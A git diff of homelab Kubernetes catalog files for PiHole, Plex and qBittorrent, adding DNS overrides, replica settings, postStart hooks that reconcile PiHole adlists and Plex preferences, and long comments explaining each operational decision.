+  # LONGER outages, raising this toward the public record's 300 would cover them -- at the cost of
+  # the same delay on a real change. It does NOT help when PiHole is down longer than the TTL: the
+  # cache expires, the router falls back, and the public answer latches again. That is a real
+  # outage, and the fix for it is PiHole availability, not DNS caching.
+  #
+  # Applies to every `address=` reply below (dnsmasq: local-ttl governs replies made from
+  # configuration, /etc/hosts and DHCP leases), so one directive covers all five names.
   - name: FTLCONF_misc_dnsmasq_lines
-    value: "address=/${BASE_DOMAIN}/${GATEWAY_VIP};address=/unifi.${BASE_DOMAIN}/${UNIFI_L4_VIP};address=/crafty-mc.${BASE_DOMAIN}/${CRAFTY_L4_VIP};address=/pihole-dns.${BASE_DOMAIN}/${PIHOLE_DNS_VIP}"
+    value: "local-ttl=60;address=/${BASE_DOMAIN}/${GATEWAY_VIP};address=/unifi.${BASE_DOMAIN}/${UNIFI_L4_VIP};address=/crafty-mc.${BASE_DOMAIN}/${CRAFTY_L4_VIP};address=/pihole-dns.${BASE_DOMAIN}/${PIHOLE_DNS_VIP};address=/plex-vip.${BASE_DOMAIN}/${PLEX_L4_VIP}"
+  # THE ADMIN PASSWORD, previously the ONE operator-set value declared nowhere. Sourced from
+  # apps/wave-0/pihole-bootstrap-secret.sops.yaml (SOPS/age, same wave => same reconcile), which
+  # carries the full rationale and the measurement that found it.
+  #
+  # `webserver.api.password` takes CLEARTEXT and FTL hashes it itself into `webserver.api.pwhash`.
+  # Verified in the running image, not assumed: `pihole setpassword` is itself
+  # `setFTLConfigValue "webserver.api.password" "$PASSWORD"`, commented upstream as "pihole-FTL will
+  # automatically hash the password". So the BALLOON-SHA256 hash on the PVC is now a DERIVED artefact
+  # and this is its source of truth. Rotating the Secret rotates the password.
+  - name: FTLCONF_webserver_api_password
+    valueFrom:
+      secretKeyRef:
+        name: pihole-bootstrap
+        key: webui-password
+availability:
+  # TWO REPLICAS, ON DIFFERENT NODES. LAN DNS is a critical network service and it was ONE pod on
+  # ONE node. Measured 2026-10-04, that cost more than "until it reschedules":
+  #   * the node running the pod dies -> ~40s to mark it NotReady, then `tolerationSeconds: 300`
+  #     before the pod is even evicted, then reschedule, then Longhorn must force-detach the RWO
+  #     volume from a dead node and reattach it. Roughly 6-10 MINUTES with no LAN resolution.
+  #   * the node holding the `pihole-dns-*` L2 lease dies -> Cilium re-elects an announcer, tens of
+  #     seconds. (These were DIFFERENT nodes: lease on k3s-prod-2, pod on k3s-prod-1. Two of three
+  #     nodes were single points of failure for LAN DNS, with wildly different blast radii.)
+  # The Services already tolerate this: `externalTrafficPolicy: Cluster` on the DNS LoadBalancers
+  # (apps/wave-0/pihole-dns.yaml) means the L2 lease holder forwards to ANY ready backend, so a
+  # second replica is picked up with no change there.
+  #
+  # WHAT THIS DOES NOT FIX, and it is the bigger risk: LAN DNS still depends on the CLUSTER. etcd
+  # quorum loss, a Cilium regression, a Longhorn problem or a bad reconcile takes DNS down
+  # everywhere regardless of replica count. The only thing that removes that dependency is a
+  # resolver outside the cluster carrying the same `address=` lines. Considered and not chosen
+  # (operator decision, 2026-10-04); see decisions/2026-10-04-pihole-multi-replica.md.
+  #
+  # THE PREREQUISITE WAS DONE FIRST, and this field would have been actively harmful without it. A
+  # replica gets a FRESH volume, and until 2026-10-04 PiHole's admin password and adlists lived only
+  # on the PVC — so replica 1 would have come up SERVING DNS AND BLOCKING NOTHING, with a different
+  # password, and answers would have varied by which pod replied. Both are now declared (the
+  # password as a SOPS Secret -> FTLCONF_webserver_api_password; the adlists reconciled into
+  # gravity.db by the postStart hook below), which is what makes a fresh replica identical to its
+  # sibling. See decisions/2026-10-04-pihole-declare-state.md.
+  #
+  # WHY 2 AND NOT 3. Two tolerates the loss of any single node, which is the stated goal, and leaves
+  # a spare node for the evicted replica to land on under the HARD anti-affinity the renderer emits.
+  # Three would pin one replica per node with no spare, so a single node failure would leave a
+  # replica permanently Pending and — `apps-wave-0` being `wait: true` — stall the app tier for as
+  # long as the node was down. Two is the count that degrades gracefully here.
+  replicas: 2
 ingressRoutes:
   - host: pihole.${BASE_DOMAIN}
     port: 80                  # admin web UI, protected at the Gateway by forward-auth (docs/09)
@@ -107,6 +230,117 @@ auth:
   mode: forward-auth          # oauth2-proxy -> Keycloak; bare UI, no native OIDC (docs/15; R-IDP-02)
   groups:
     - platform-admins         # sensitive admin UI: authenticated AND in group (R-IDP-06)
+  # NO `apiRoutes` HERE, DELIBERATELY. PiHole's admin UI serves no /api/ path, so the `^/api/`
+  # that jackett and radarr need would match nothing on a good day — and a BROADER guess would
+  # answer PiHole's own page loads with 401, leaving a logged-out operator on a bare error page
+  # with no sign-in offered. This app is the reason auth.apiRoutes is per-service (schema 1.9.0)
+  # rather than a renderer constant: the measurement that justifies the flag on two apps is
+  # evidence about those two apps. Its oauth2-proxy log holds 0 unauthenticated requests across
+  # the current pod's whole 23h lifetime (measured 2026-10-01), so there is nothing to act on.
+lifecycle:
+  # LEVEL-TRIGGERED ADLIST ASSERTION, run on EVERY container start. Same pattern, and the same
+  # reasoning, as catalog/qbittorrent.yaml's postStart: desired state lives in git and is
+  # RE-ASSERTED unconditionally rather than set once by hand.
+  #
+  # WHY THIS IS NEEDED AT ALL — the blocklists were NOT reproducible from git. Measured on live prod
+  # 2026-10-04: `gravity.db` held exactly ONE adlist (StevenBlack's hosts, enabled) and 72,234
+  # gravity domains, and NOTHING in this repo named it. Worse, a FRESH database does not seed it:
+  # the image's own schema template `/etc/.pihole/advanced/Templates/gravity.db.sql` creates the
+  # `adlist` table and inserts NO rows into it (grepped in the running image — there is no
+  # `INSERT INTO adlist` at all). So a rebuild from git, or a replica with a new PVC, would come up
+  # SERVING DNS AND BLOCKING NOTHING, silently and with every object reporting healthy.
+  #
+  # WHY A postStart HOOK AND NOT A FILE. PiHole v6 keeps adlists as DB rows, not config. The
+  # `/etc/pihole/adlists.list` file still exists in `gravity.sh` but is MIGRATION-ONLY: its import
+  # sits inside `migrate_to_database()`, guarded by `if [ ! -e "$gravityDBfile" ]`, so it fires only
+  # while CREATING a database and never again on an existing one. A ConfigMap mounted there would
+  # therefore be silently ignored on every pod this cluster currently runs. There is also no
+  # `pihole adlist` CLI subcommand (only allow/deny for domains), so SQL against the DB is the
+  # actual interface. FTL ships an embedded shell (`pihole-FTL sqlite3`, SQLite 3.53.1) so no extra
+  # tooling is needed in the image.
+  #
+  # IT RECONCILES, IT DOES NOT JUST ADD: adlists present in the DB but absent from DECLARED below are
+  # DISABLED (not deleted — deleting cascades to `gravity` rows and would force a full re-download of
+  # everything on a typo). So this list is the source of truth in both directions, and `pihole -g`
+  # runs ONLY when something actually changed, which keeps the steady-state start free of a 70k-domain
+  # rebuild.
+  #
+  # NO BRACED DOLLAR EXPANSION ANYWHERE IN THIS SCRIPT, DELIBERATELY — the same contract
+  # catalog/qbittorrent.yaml documents at length. apps-wave-0 declares postBuild.substituteFrom
+  # cluster-vars, so Flux runs envsubst over this whole manifest at reconcile time; a `${VAR}` form
+  # would behave differently on the cluster than under a plain `kubectl apply` of the golden. Bare
+  # `$VAR` and `$(cmd)` are untouched by envsubst and so behave identically however this is run.
+  # `render.py`'s assert_substitution_safe refuses to emit a manifest that breaks this.
+  postStart:
+    exec:
+      command:
+        - /bin/bash
+        - -c
+        - |
+          # Assert the declared adlists in gravity.db. Idempotent: steady state writes nothing and
+          # does NOT run a gravity rebuild.
+          set -u
+          GRAVITY=/etc/pihole/gravity.db
+
+          # THE DECLARED SET — one URL per line, the source of truth for what PiHole blocks.
+          # To add a list: add a line here, commit, let Flux reconcile. Nothing else to do.
+          DECLARED='https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts'
+
+          # On a fresh PVC, FTL creates gravity.db a moment after the container starts. Wait, bounded,
+          # and NEVER block or fail the start: a missing DB here must not crashloop DNS for the LAN.
+          i=0
+          while [ ! -s "$GRAVITY" ] && [ "$i" -lt 90 ]; do sleep 2; i=$(expr $i + 1); done
+          if [ ! -s "$GRAVITY" ]; then
+            echo "pihole-adlists: gravity.db absent after 180s - leaving adlists untouched" >&2
+            exit 0
+          fi
+
+          sql() { pihole-FTL sqlite3 "$GRAVITY" "$1"; }
+          CHANGED=0
+
+          # 1) Every declared URL must be present AND enabled.
+          echo "$DECLARED" | while IFS= read -r url; do
+            [ -n "$url" ] || continue
+            printf '%s\n' "$url"
+          done > /tmp/declared.txt
+          while IFS= read -r url; do
+            [ -n "$url" ] || continue
+            # Single quotes inside a URL would break this SQL; adlist URLs do not contain them.
+            have=$(sql "select count(*) from adlist where address='$url';")
+            if [ "$have" = "0" ]; then
+              echo "pihole-adlists: adding $url"
+              sql "insert into adlist (address,enabled,comment) values ('$url',1,'declared in catalog/pihole.yaml');"
+              CHANGED=1
+            else
+              en=$(sql "select enabled from adlist where address='$url';")
+              if [ "$en" != "1" ]; then
+                echo "pihole-adlists: re-enabling $url"
+                sql "update adlist set enabled=1 where address='$url';"
+                CHANGED=1
+              fi
+            fi
+          done < /tmp/declared.txt
+
+          # 2) Anything enabled in the DB but NOT declared gets disabled (never deleted - see above).
+          sql "select address from adlist where enabled=1;" | while IFS= read -r addr; do
+            [ -n "$addr" ] || continue
+            if ! grep -qxF "$addr" /tmp/declared.txt; then
+              echo "pihole-adlists: disabling undeclared $addr"
+              sql "update adlist set enabled=0 where address='$addr';"
+              echo changed >> /tmp/adlist-changed
+            fi
+          done
+          [ -s /tmp/adlist-changed ] && CHANGED=1
+          rm -f /tmp/adlist-changed /tmp/declared.txt
+
+          # 3) Rebuild gravity ONLY if the declared set actually moved.
+          if [ "$CHANGED" = "1" ]; then
+            echo "pihole-adlists: declared set changed - running gravity update"
+            pihole -g || echo "pihole-adlists: gravity update failed; existing gravity.db retained" >&2
+          else
+            echo "pihole-adlists: already matches the declared set - nothing to do"
+          fi
+          exit 0
 update:
   channel: stable             # R-UPD-01
   range: ">=2024.0.0"

catalog/plex.yaml

@@ -12,7 +12,7 @@
 name: plex
 kind: container
 source:
-  image: plexinc/pms-docker:latest
+  image: plexinc/pms-docker:1.43.6.11085-d1e52e169
 # plexinc/pms-docker env. Rendered VERBATIM onto the app container by render.py (schema env list).
 env:
   # PLEX_UID/PLEX_GID: the image boots as root (s6 PID1), chowns /config to this uid/gid, then drops
@@ -72,19 +72,293 @@ env:
       secretKeyRef:
         name: plex-claim
         key: PLEX_CLAIM
-  # ADVERTISE_IP ("Custom server access URLs") is DEFERRED, not accidentally omitted. It tells Plex
-  # which URL to advertise to plex.tv for REMOTE clients. The only candidate is
-  # https://plex.home.keithjackson.dev, but that host resolves via split-horizon DNS to the INTERNAL
-  # Gateway VIP (conformance/tests/l2-behavioral/dns-internal-resolution), and both its public
-  # reachability and whether the TLS-terminating Cilium Gateway proxies Plex's 32400 API correctly for
-  # remote access are UNVERIFIED. Advertising a wrong/internal-only URL breaks remote access for ALL
-  # clients, so per "prefer safety over completeness" it is left unset. FOLLOW-UP: once remote
-  # reachability through the Gateway is confirmed, set ADVERTISE_IP: "https://plex.home.keithjackson.dev:443".
-exposure: public              # edge port-forward + public DNS; clients + Seerr reach it (docs/09; R-DNS/R-NET)
+  # ADVERTISE_IP ("Custom server access URLs") — the connection Plex publishes to plex.tv.
+  #
+  # THE VALUE MUST BE RESOLVABLE BY EVERY CLIENT, NOT JUST BY CLIENTS THAT USE OUR DNS. That single
+  # property is what this field keeps getting wrong, so it is the first thing to check before
+  # changing it. A Plex client resolves the advertised host ITSELF, with whatever resolver it
+  # happens to use — and on a real LAN that is frequently NOT PiHole: browsers ship DoH on by
+  # default, phones have "private DNS", guest and IoT devices often take the router's DNS, and some
+  # clients hard-code a public resolver.
+  #
+  # THAT IS NOT THEORETICAL — IT TOOK PLEX DOWN FOR THE WHOLE LAN ON 2026-10-05. This field briefly
+  # advertised `plex-vip.${BASE_DOMAIN}`, a name that exists ONLY in PiHole's split-horizon answers
+  # (catalog/pihole.yaml) and in no public zone. Clients that did not use PiHole could not resolve
+  # it; the SOHO router answered the failed lookup with ITSELF, and every one of them landed on the
+  # router's own web UI and reported a certificate error for `CN = %D`. Measured 2026-10-05: the
+  # router serves that self-signed cert (`C = ZZ, O = %D342e7e6b, CN = %D`) on BOTH `192.168.2.1:443`
+  # and the WAN address, while PiHole itself was answering perfectly — both replicas returned
+  # `plex-vip -> ${PLEX_L4_VIP}` and `plex -> ${GATEWAY_VIP}`. The DNS was right; the DEPENDENCY on
+  # it was the bug. Nothing Plex advertises listens on 443, which is how we know the clients had left
+  # the Plex path entirely and were talking to the router.
+  #
+  # SO: `<dashed-ip>.<serverhash>.plex.direct`, WHICH IS RESOLVER-INDEPENDENT. This is Plex's own
+  # mechanism and the reason it exists: `plex.direct` is a PUBLIC zone that returns the private
+  # address embedded in the label, so EVERY resolver on earth — PiHole, the router, 1.1.1.1, a DoH
+  # browser — answers `192-168-2-24.<hash>.plex.direct` with `192.168.2.24`. It needs no
+  # split-horizon entry, no Cloudflare record, and no certificate work, because the wildcard cert
+  # Plex already serves on 32400 covers exactly this name. Re-verified live 2026-10-05 with FULL
+  # validation (no `curl -k`): resolves to 192.168.2.24 and `/identity` returns **200, TLS verified**.
+  #
+  # WHY NOT THE NICER HOSTNAME, since a readable name in our own zone is obviously more pleasant:
+  # it cannot be made to work for clients that bypass PiHole. A public record for it would resolve
+  # to the WAN address, and with no NAT hairpin on this router a LAN client sent there fails too —
+  # so the hostname is correct ONLY for clients using PiHole, and wrong for the rest. There is no
+  # configuration of that name that is right for both. `plex.direct` is right for both.
+  # (The PiHole `plex-vip` answer is KEPT — it is harmless, costs nothing, and is genuinely useful
+  # for reaching the VIP by name from a LAN shell. It is simply not what Plex advertises.)
+  #
+  # THE TWO EMBEDDED VALUES, and the honest cost of this choice. The dashed IP must track
+  # ${PLEX_L4_VIP} and `<serverhash>` is this server's certificate identity — read it from the live
+  # listener with
+  #     openssl s_client -connect <vip>:32400 </dev/null | openssl x509 -noout -subject
+  # Nothing in this tree can derive either, and nothing checks that they still agree: envsubst
+  # cannot dash an IP, so this is a literal. That fragility is real and was the reason the hostname
+  # was tried in the first place — it is accepted here because an unresolvable name is a WORSE
+  # failure (silent, LAN-wide, and it points users at the router) than a stale literal, which at
+  # least fails loudly and only after someone changes the VIP.
+  #
+  # The image's /etc/cont-init.d/40-plex-first-run runs `setPref "customConnections"
+  # "${ADVERTISE_IP}"` (line 127, verified in the running image), OUTSIDE the
+  # PLEX_CLAIM/PlexOnlineToken guard, with its `/.firstRunComplete` marker on the container OVERLAY
+  # fs rather than the /config PVC — so this is re-applied on EVERY pod start and git, not a web
+  # form, owns the value.
+  - name: ADVERTISE_IP
+    value: https://192-168-2-24.130072f20c334d6c8f63d0dfef87309b.plex.direct:32400
+  # THE TLS MATERIAL FOR THE NAME ABOVE, as PEM text in env rather than a mounted volume.
+  # `plex-vip-tls` is issued by cert-manager from ClusterIssuer `letsencrypt-prod` for exactly
+  # `plex-vip.${BASE_DOMAIN}` (apps/wave-0/plex-cert.yaml, same wave => same reconcile as this
+  # workload). The postStart hook converts it to the PKCS#12 bundle Plex requires.
+  #
+  # WHY ENV AND NOT A VOLUME, which would be the conventional choice. MEASURED 2026-10-04:
+  # `schemas/servicedefinition.schema.json` `storage` accepts only
+  # [class, export, mountPath, name, readOnly, size, subPath] with `additionalProperties: false`,
+  # `catalog/render.py` emits NO secret volumes, and no rendered app mounts a Secret as a volume.
+  # Mounting one therefore needs a schema + renderer change; `env.valueFrom.secretKeyRef` is
+  # already in the schema and already used by PLEX_CLAIM above. PEM is text, so it survives an env
+  # var intact (a raw PKCS#12 would not — it is binary and carries NUL bytes).
+  #
+  # COST, STATED PLAINLY: the private key is readable from this container's environment
+  # (/proc/1/environ, `kubectl exec env`) by anything that can already exec into the pod. That is
+  # the same audience that can read the converted bundle under /config, so the marginal exposure is
+  # small — but a secret VOLUME would still be the better shape, and adding secret-volume support
+  # to the schema is the clean follow-up that removes this note.
+  #
+  # `optional: true` IS LOAD-BEARING, NOT DEFENSIVE CLUTTER (schema 1.11.0, added for this). The
+  # Certificate is issued INTO THIS NAMESPACE, and the namespace is created by the rendered
+  # apps/wave-0/plex.yaml itself — so the cert CANNOT be issued in an earlier tier, and the
+  # Certificate and this Deployment land in the SAME reconcile. On a cold bootstrap the Secret is
+  # therefore briefly absent while cert-manager completes a DNS01 challenge. With a HARD ref, Plex
+  # would sit in CreateContainerConfigError until a certificate issued — and because `apps-wave-0`
+  # is `wait: true` with `apps-wave-1` dependsOn it, a failed or slow issuance would STALL THE WHOLE
+  # APP TIER (the same hazard the `hardware` block below documents for the GPU resource). Optional
+  # instead means: no cert -> Plex still starts and serves, the postStart hook logs that the
+  # certificate was not installed, and the next start after issuance converges. Plex falls back to
+  # its own `*.plex.direct` certificate in the meantime, so the degraded state is "advertised URL
+  # not yet servable over TLS", not "media server down".
+  - name: PLEX_TLS_CRT
+    valueFrom:
+      secretKeyRef:
+        name: plex-vip-tls
+        key: tls.crt
+        optional: true
+  - name: PLEX_TLS_KEY
+    valueFrom:
+      secretKeyRef:
+        name: plex-vip-tls
+        key: tls.key
+        optional: true
+lifecycle:
+  # LEVEL-TRIGGERED PLEX SETTINGS, re-asserted on EVERY container start — the same pattern and the
+  # same reasoning as catalog/pihole.yaml's and catalog/qbittorrent.yaml's postStart: desired state
+  # lives in git and is re-asserted unconditionally rather than typed into a web form once. Typing
+  # settings into the web form is precisely what took this service down on 2026-10-04.
+  #
+  # IT EXISTS BECAUSE THE IMAGE HAS NO ENV FOR THESE SETTINGS. Measured 2026-10-04 across the whole
+  # init surface (/etc/cont-init.d, /etc/services.d, /plex-common.sh, /usr/local/bin): the image
+  # calls setPref for exactly SIX prefs — MachineIdentifier, ProcessedMachineIdentifier,
+  # PlexOnlineToken, customConnections, allowedNetworks, TranscoderTempDirectory — and supports NO
+  # generic PLEX_PREFERENCE* hook of any kind. The two things we need (a LAN definition and a custom
+  # certificate) are reachable ONLY through Plex's own API, so this hook is the only GitOps path.
+  #
+  # IT MUST NEVER FAIL. A postStart hook that exits non-zero makes kubelet KILL the container, so
+  # every step is bounded and the script ends with an unconditional `exit 0`. A missing token, an
+  # unissued certificate or an unreachable API degrades to "not applied this start" and is retried
+  # on the next one; it never crashloops Plex.
+  postStart:
+    exec:
+      command:
+        - /bin/bash
+        - -c
+        - |
+          # NOTE — LOAD-BEARING: SHELL VARIABLES HERE ARE WRITTEN BARE, NEVER BRACE-WRAPPED.
+          # This whole script is rewritten by Flux postBuild envsubst BEFORE it ever runs, so a
+          # brace-wrapped name is read as a cluster-vars knob: an undeclared one is a HARD
+          # Kustomization failure under StrictPostBuildSubstitutions, and a declared one would be
+          # replaced with its value. Shell vars are therefore `$PX`, `$TOKEN`, `$P12` — bare. Only
+          # BASE_DOMAIN below is brace-wrapped, because it IS a knob and IS meant to be
+          # substituted. Command substitution `$(cmd)` is left alone and needs no escaping. A shell
+          # variable written with braces would be blanked or would fail the whole Kustomization —
+          # this repo has already lost a gitea OIDC bootstrap to exactly that mistake, and
+          # catalog/render.py now refuses to emit it (which is how this very comment got caught).
+          # DELIBERATELY NO `set -u`. The TLS env vars are declared `optional: true`, so when the
+          # certificate has not issued yet they are genuinely UNSET, not empty — and under `set -u`
+          # the first `[ -n "$PLEX_TLS_CRT" ]` would abort the script, which for a postStart hook
+          # means kubelet KILLS THE CONTAINER. That is the precise failure the `optional` flag exists
+          # to prevent, so turning it back on here would defeat the whole design. (The alternative,
+          # a brace-wrapped `:-` default, would need envsubst escaping — the trap the note above
+          # describes.) Every value below is explicitly guarded instead.
+          PX="/config/Library/Application Support/Plex Media Server/Preferences.xml"
+          CERTDIR=/config/certs
+          P12=$CERTDIR/plex-vip.p12
+          # The PKCS#12 passphrase protects nothing and is deliberately not a secret: Plex needs it
+          # in cleartext in customCertificateKey, and it and the bundle sit on the same PVC. It is a
+          # container-format requirement, not an access control.
+          P12PASS=plexvip
+          LANNETS='10.0.0.0/8,192.168.0.0/16'
+          CERTDOMAIN=plex-vip.${BASE_DOMAIN}
+          API=http://127.0.0.1:32400
+
+          # (1) Build the PKCS#12 bundle from the PEM the Secret supplies. Rebuilt on every start so
+          # a cert-manager RENEWAL is picked up with no extra moving part.
+          if [ -n "$PLEX_TLS_CRT" ] && [ -n "$PLEX_TLS_KEY" ]; then
+            mkdir -p $CERTDIR && chmod 700 $CERTDIR
+            printf '%s' "$PLEX_TLS_CRT" > $CERTDIR/tls.crt
+            printf '%s' "$PLEX_TLS_KEY" > $CERTDIR/tls.key
+            chmod 600 $CERTDIR/tls.key
+            if openssl pkcs12 -export -out $P12.tmp -inkey $CERTDIR/tls.key \
+                 -in $CERTDIR/tls.crt -passout pass:$P12PASS 2>/dev/null; then
+              mv -f $P12.tmp $P12
+              chown 1000:1000 $P12 2>/dev/null || true
+              chmod 600 $P12
+              echo "[plex-settings] PKCS#12 bundle written"
+            else
+              rm -f $P12.tmp
+              echo "[plex-settings] WARN: pkcs12 export failed; keeping any previous bundle" >&2
+            fi
+            rm -f $CERTDIR/tls.key
+          else
+            echo "[plex-settings] WARN: TLS env empty; certificate not installed this start" >&2
+          fi
+
+          # (2) Wait, bounded (~90s), for the local API. /identity needs no auth.
+          i=0
+          while [ "$i" -lt 45 ]; do
+            if [ "$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 $API/identity 2>/dev/null)" = "200" ]; then
+              break
+            fi
+            i=$(expr $i + 1); sleep 2
+          done
+
+          # (3) The prefs API needs the server token. It already lives in Preferences.xml on this
+          # PVC; it is never echoed here, and Plex redacts tokens in its own request log. An
+          # UNCLAIMED server has none — a normal state on a fresh /config — so skip, do not fail.
+          TOKEN=$(grep -o 'PlexOnlineToken="[^"]*"' "$PX" 2>/dev/null | head -1 | cut -d'"' -f2)
+          if [ -z "$TOKEN" ]; then
+            echo "[plex-settings] not claimed yet — skipping prefs, will retry next start" >&2
+            exit 0
+          fi
+
+          # Percent-encode what our values actually contain. Plex takes prefs as QUERY parameters on
+          # a PUT, so a raw '/' or ',' would be read as structure rather than data.
+          enc() {
+            printf '%s' "$1" | sed -e 's|%|%25|g' -e 's|/|%2F|g' -e 's|,|%2C|g' \
+                                   -e 's|:|%3A|g' -e 's| |%20|g'
+          }
+          setpref() {
+            code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 10 -X PUT \
+              -H "X-Plex-Token: $TOKEN" "$API/:/prefs?$1=$(enc "$2")" 2>/dev/null)
+            if [ "$code" = "200" ]; then
+              echo "[plex-settings] set $1"
+            else
+              echo "[plex-settings] WARN: $1 -> HTTP $code" >&2
+            fi
+          }
+
+          # (4) THE LAN DEFINITION — the reason this hook was written. Without it Plex has NO notion
+          # of a local network and tags EVERY client remote. Measured 2026-10-04: 468 requests
+          # logged "Allowed Network (WAN)" and ZERO "(LAN)", including Seerr from inside the
+          # cluster, which is why the server showed as Remote to LAN clients. Note allowedNetworks
+          # (the ALLOWED_NETWORKS env) only waives AUTH — it does NOT make a client local. Two
+          # different settings; only one of them has an env hook.
+          setpref LanNetworksBandwidth "$LANNETS"
+
+          # (5) THE CERTIFICATE, which is what makes the `https` in ADVERTISE_IP servable. Set only
+          # if the bundle exists — pointing Plex at a missing file would break its TLS listener.
+          if [ -s "$P12" ]; then
+            setpref customCertificatePath "$P12"
+            setpref customCertificateKey "$P12PASS"
+            setpref customCertificateDomain "$CERTDOMAIN"
+          else
+            echo "[plex-settings] WARN: no bundle; leaving certificate prefs untouched" >&2
+          fi
+          exit 0
+# HARDWARE TRANSCODING — the host iGPU's render device (schema 1.8.0 `hardware`; R-PLAT-02).
+# INTENT ONLY, AND THE MECHANISM DELIBERATELY DOES NOT LIVE HERE. This says "this workload needs an
+# Intel Quick Sync render device"; it does NOT name a device path and it does NOT name a resource.
+# How the platform hands the device over is `catalog/render.py`'s business and is documented in
+# `schemas/renderer-contract.md` `### hardware` — read that for the mechanism, never this comment.
+# The payoff is proven, not theoretical: on 2026-10-01 the mechanism was swapped outright (hostPath
+# -> Intel GPU device plugin extended resource) and THIS BLOCK DID NOT MOVE — a `render.py` change
+# plus a re-render, zero catalog edits. Do not "simplify" it into a raw `/dev/...` path; that is the
+# whole point of the enum.
+#
+# THE DEVICE IS PRESENT ON EVERY PROD NODE, so nothing had to be installed and Plex can land
+# anywhere. Measured on all three nodes 2026-09-30: `/dev/dri/renderD128` present, `root:render`,
+# GID 992, mode 0660, driver `i915` bound (NOT `xe`), UHD Graphics 630 on an i7-9700T, media engines
+# `vcs0`/`vecs0` live, iGPU enabled in BIOS on each. Measured again 2026-10-01, one layer up: all
+# three nodes advertise `gpu.intel.com/i915: 1` in `.status.allocatable`. This field renders no
+# nodeSelector; placement is a separate concern with its own justification.
+#
+# PLEX'S SCHEDULABILITY IS NOW COUPLED TO THE `intel-gpu-plugin` DaemonSet, and that is a real cost,
+# not a footnote. The current mechanism is a hard scheduling constraint: if the resource is
+# unavailable (plugin broken, removed, or not yet reconciled) this pod is UNSCHEDULABLE, and because
+# `apps-wave-0` is `wait: true` with `apps-wave-1` `dependsOn` it, that STALLS THE WHOLE APP TIER.
+# The previous hostPath mechanism degraded silently to software transcoding instead — but it never
+# actually granted access (device-cgroup EPERM, measured 2026-10-01), so there was nothing to keep.
+# THE ESCAPE HATCH IS THIS BLOCK: delete these two lines and re-render, and Plex goes back to
+# software transcoding and the tier unblocks. One field, no code change. `runbooks/plex-quicksync.md`
+# carries that procedure for whoever needs it at 2am.
+#
+# NO `podSecurityContext.supplementalGroups`, AND ADDING ONE WOULD BE INERT — do not "fix" this.
+# The device is `root:render` 0660 and this process is uid/gid 1000, so the obvious move is to push
+# the host `render` GID in as a supplemental group. It cannot work here, and this survived the
+# mechanism swap unchanged. MEASURED IN THE RUNNING CONTAINER, 2026-09-30 and again 2026-10-01: the
+# image's own `/etc/cont-init.d/45-plex-hw-transcode-and-connected-tuner` stats every char device
+# under `/dev/dri`, `groupadd`s a matching group INSIDE the container when none exists, and
+# `usermod -a -G`s the `plex` user into it — every start, nothing hardcoded, which also makes a host
+# GID renumbering self-healing (no GID is pinned anywhere in this repo) and which works the same way
+# on a PLUGIN-INJECTED device as on a bind-mounted one. Measured live, `Plex Media Server` ran with
+# `Groups: 44 100 992 1000` — 992 IS the host `render` GID, i.e. the hook had already done the job.
+# The service execs via `s6-setuidgid plex`, and `s6-setuidgid` REPLACES the process group list from
+# `/etc/group` rather than appending to it, so root's gid `0` — which PID 1 (`s6-svscan`) does hold —
+# is GONE, and anything Kubernetes supplies reaches s6-svscan and is discarded before Plex ever
+# starts. The group is the image's job and it does it correctly. `render.py --selftest` asserts the
+# ABSENCE of a pod securityContext for this field precisely so nobody adds an inert one back later.
+#
+# THE LAST MILE IS A MANUAL OPERATOR STEP AND CANNOT LIVE IN THIS REPO. Handing over the device does
+# not enable hardware transcoding — Plex's own `HardwareAcceleratedCodecs` preference does, and it
+# is ABSENT from `Preferences.xml` today (the toggle has never been on). NO environment variable can
+# set it: a grep of the running image's entire init surface (`/etc/cont-init.d`, `/etc/services.d`,
+# `/etc/fix-attrs.d`, `/plex-common.sh`, `/usr/local/bin`) found ZERO `PLEX_PREFERENCE*` support,
+# and the six prefs the image does write (`MachineIdentifier`, `ProcessedMachineIdentifier`,
+# `PlexOnlineToken`, `customConnections`, `allowedNetworks`, `TranscoderTempDirectory`) are all
+# unrelated. So there is no GitOps path to the toggle; an operator clicks it once in the web UI.
+# `runbooks/plex-quicksync.md` is that procedure, plus how to verify it took.
+hardware:
+  gpu: intel-quicksync
+# EXPOSURE: internal (operator decision 2026-11-08, Cloudflare Tunnel cut-over). The plex.${BASE_DOMAIN}
+# web UI is LAN/VPN-only: `internal` renders `external-dns ... controller: none` on the HTTPRoute, so
+# external-dns DELETES the public plex record and its TXT, and platform/cloudflared/config.yaml maps the
+# name to http_status:404 so it can never be served through the tunnel either. REMOTE STREAMING IS NOT
+# AFFECTED: it never used this name. It rides plex.tv + the advertised plex.direct URL (ADVERTISE_IP
+# above) to the raw tcp/32400 L4 VIP (${PLEX_L4_VIP}, apps/wave-0/plex-remote.yaml) via the WAN
+# tcp/32400 forward — none of which this field touches. See runbooks/plex-remote-access.md.
+exposure: internal            # web UI LAN/VPN-only; remote streaming = plex.tv + WAN tcp/32400 (docs/09; R-DNS/R-NET)
 egress: internet              # normal WAN egress (docs/03; R-NET-05)
 storage:
   - name: config
-    size: 8Gi
+    size: 16Gi
     class: longhorn           # Plex DB/metadata: replicated app state on the 3-replica tier (docs/04; R-STATE-01/02)
     mountPath: /config        # plexinc/pms-docker writes its identity/claim + "Library" DB under /config, NOT the
                               # renderer default /data/config. Without this the PVC sat unused and Plex wrote to the

catalog/qbittorrent.yaml

@@ -30,7 +30,7 @@
 name: qbittorrent
 kind: container
 source:
-  image: lscr.io/linuxserver/qbittorrent:5.1.2   # pinned stable tag (R-UPD-01); update.range governs advancement
+  image: lscr.io/linuxserver/qbittorrent:5.3.0   # pinned stable tag (R-UPD-01); update.range governs advancement
 # LinuxServer images run their service as the user `abc`, whose uid/gid these two set. They are
 # LOAD-BEARING FOR THE BULK MOUNT, not cosmetic — exactly as on sonarr/radarr. Measured on prod
 # 2026-09-12 BEFORE this change: `id` inside the container reported the qbittorrent-nox process as
@@ -359,7 +359,7 @@ storage:
                                 # The live /config contents were copied onto each PVC before this landed,
                                 # so API keys and credentials other apps reference were preserved.
   # THE DOWNLOADS AREA — ONE mount of the SAME export sonarr/radarr/plex already consume
-  # (192.168.2.102:/mnt/Storage/plex), narrowed by subPath to the `downloads` subtree and presented at
+  # (192.168.2.30:/mnt/Storage/plex), narrowed by subPath to the `downloads` subtree and presented at
   # /downloads, which is precisely where this app is ALREADY configured to write.
   #
   # WHY subPath: downloads AND NOT THE EXPORT ROOT AT /media (the shape sonarr/radarr use):
